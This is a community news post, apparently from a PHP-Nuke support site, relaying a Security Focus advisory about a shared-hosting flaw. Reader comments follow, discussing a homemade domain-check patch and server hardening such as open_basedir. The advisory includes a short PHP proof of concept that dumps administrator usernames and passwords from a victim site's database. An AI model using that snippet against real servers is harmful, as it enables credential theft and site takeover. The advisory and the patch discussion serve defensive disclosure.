You are missing our premiere tool bar navigation system! Register and use it for FREE!

NukeCops  
•  Home •  Downloads •  Gallery •  Your Account •  Forums • 
Readme First
- Readme First! -

Read and follow the rules, otherwise your posts will be closed
Modules
· Home
· FAQ
· Buy a Theme
· Advertising
· AvantGo
· Bookmarks
· Columbia
· Community
· Donations
· Downloads
· Feedback
· Forums
· PHP-Nuke HOWTO
· Private Messages
· Search
· Statistics
· Stories Archive
· Submit News
· Surveys
· Theme Gallery
· Top
· Topics
· Your Account
Who's Online
There are currently, 645 guest(s) and 0 member(s) that are online.

You are Anonymous user. You can register for free by clicking here
Possible bug in PHPNuke and other CMS
SecurityJeanClaude writes "Source: SECURITY FOCUS


There is a vulnerability in PHPNuke that permits execution of arbitrary
SQL queries on a database located in the same server of an attacker's
account.
This is the procedure: first of all attacker must create a
symlink pointing to victim's db directory in PHPNuke home directory
because of mainfile.php include method.
After that he can build a simple
php code executing a query to the PHPNuke database.

Here is an example:

---------------------[CODE]-------------------


require_once ("/location_of_victim's_PHPNuke/mainfile.php");

$sql = $db->sql_query("SELECT aid,pwd FROM ".$prefix."_authors");

while($record = $db->sql_fetchrow($sql))
~ echo "Username: $record[aid]
Password: $record[pwd]

";

unset($sql);

?>

-------------------------[/CODE]-----------------


Queries are executed normally because config.php (which is included by
mainfile.php) provides the information in order to connect to the chosen
database. This is a very easy way to deface PHPNuke-based websites or
adding and removing users, and so on.



This "homemade patch" goes in config.php, just below connection
variables. It checks domain name provided by web server with the one
provided by the user and grants execution of SQL queries only if domain
names match. Here is the code:



---------------------------[CODE]--------------------

$domainname = "www.example.com";

if ($_SERVER['SERVER_NAME'] != $domainname ) {

~ echo "Access denied";

~ die();

}


---------------------------[/CODE]--------------------


"
Posted on Saturday, June 05 @ 12:23:41 CEST by IACOJ
 
Related Links
· Computer Cops
· More about Security
· News by IACOJ


Most read story about Security:
PHP-Nuke admin.php security hole - PATCHED

Article Rating
Average Score: 0
Votes: 0

Please take a second and vote for this article:

Excellent
Very Good
Good
Regular
Bad


Options

 Printer Friendly Page  Printer Friendly Page

 Send to a Friend  Send to a Friend

Threshold
The comments are owned by the poster. We aren't responsible for their content.

No Comments Allowed for Anonymous, please register

Re: Possible bug in PHPNuke and other CMS (Score: 1)
by MGCJerry on Saturday, June 05 @ 13:51:42 CEST
(User Info | Send a Message)
This isnt necessarily a bug in PHP-Nuke or other CMS systems. This is a sign of a host/server admin who has not secured the server properly and has not read any security tips.

If you have a host that has this problem, nuke *is* the least of your worries.

Under a properly secured server, doing this is not possible. ;)

Solution:
Find a new host. Adding this code into your site is only putting a band-aid on a slit throat.



Re: Possible bug in PHPNuke and other CMS (Score: 1)
by MrFluffy on Saturday, June 05 @ 14:02:00 CEST
(User Info | Send a Message) http://www.conrads-berlin.de
I have changed that to
---------------------------[CODE]--------------------
$domainname = "domain.com";
$fulldomainname = "www.domain.com";

if ($_SERVER['SERVER_NAME'] != $domainname && $_SERVER['SERVER_NAME'] != $fulldomainname) {

echo "Access denied";

die();

}
---------------------------[/CODE]--------------------

... to be able to acces via the TLD, also the '~' gave me syntax errors.
Does that weaken the fix?



Re: Possible bug in PHPNuke and other CMS (Score: 1)
by chican0 on Saturday, June 05 @ 21:32:46 CEST
(User Info | Send a Message) http://www.soychicano.com
OOoohhh. This is a huge vunerability for your host. The server is considered to have a big security hole in it if php open_basedir Protection is not enabled. Php's open_basedir protection prevents users from opening files outside of their home directory with php.

If this is a problem, then it may be possible for an attacker to install unwanted processes and malicious scripts onto the server.

If I were you, I would quickly notify your host of the problem and tell them to secure thier box.


Powered by TOGETHER TEAM srl ITALY http://www.togetherteam.it - DONDELEO E-COMMERCE http://www.DonDeLeo.com - TUTTISU E-COMMERCE http://www.tuttisu.it
Web site engine's code is Copyright © 2002 by PHP-Nuke. All Rights Reserved. PHP-Nuke is Free Software released under the GNU/GPL license.
Page Generation: 0.084 Seconds - 308 pages served in past 5 minutes. Nuke Cops Founded by Paul Laudanski (Zhen-Xjell)
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::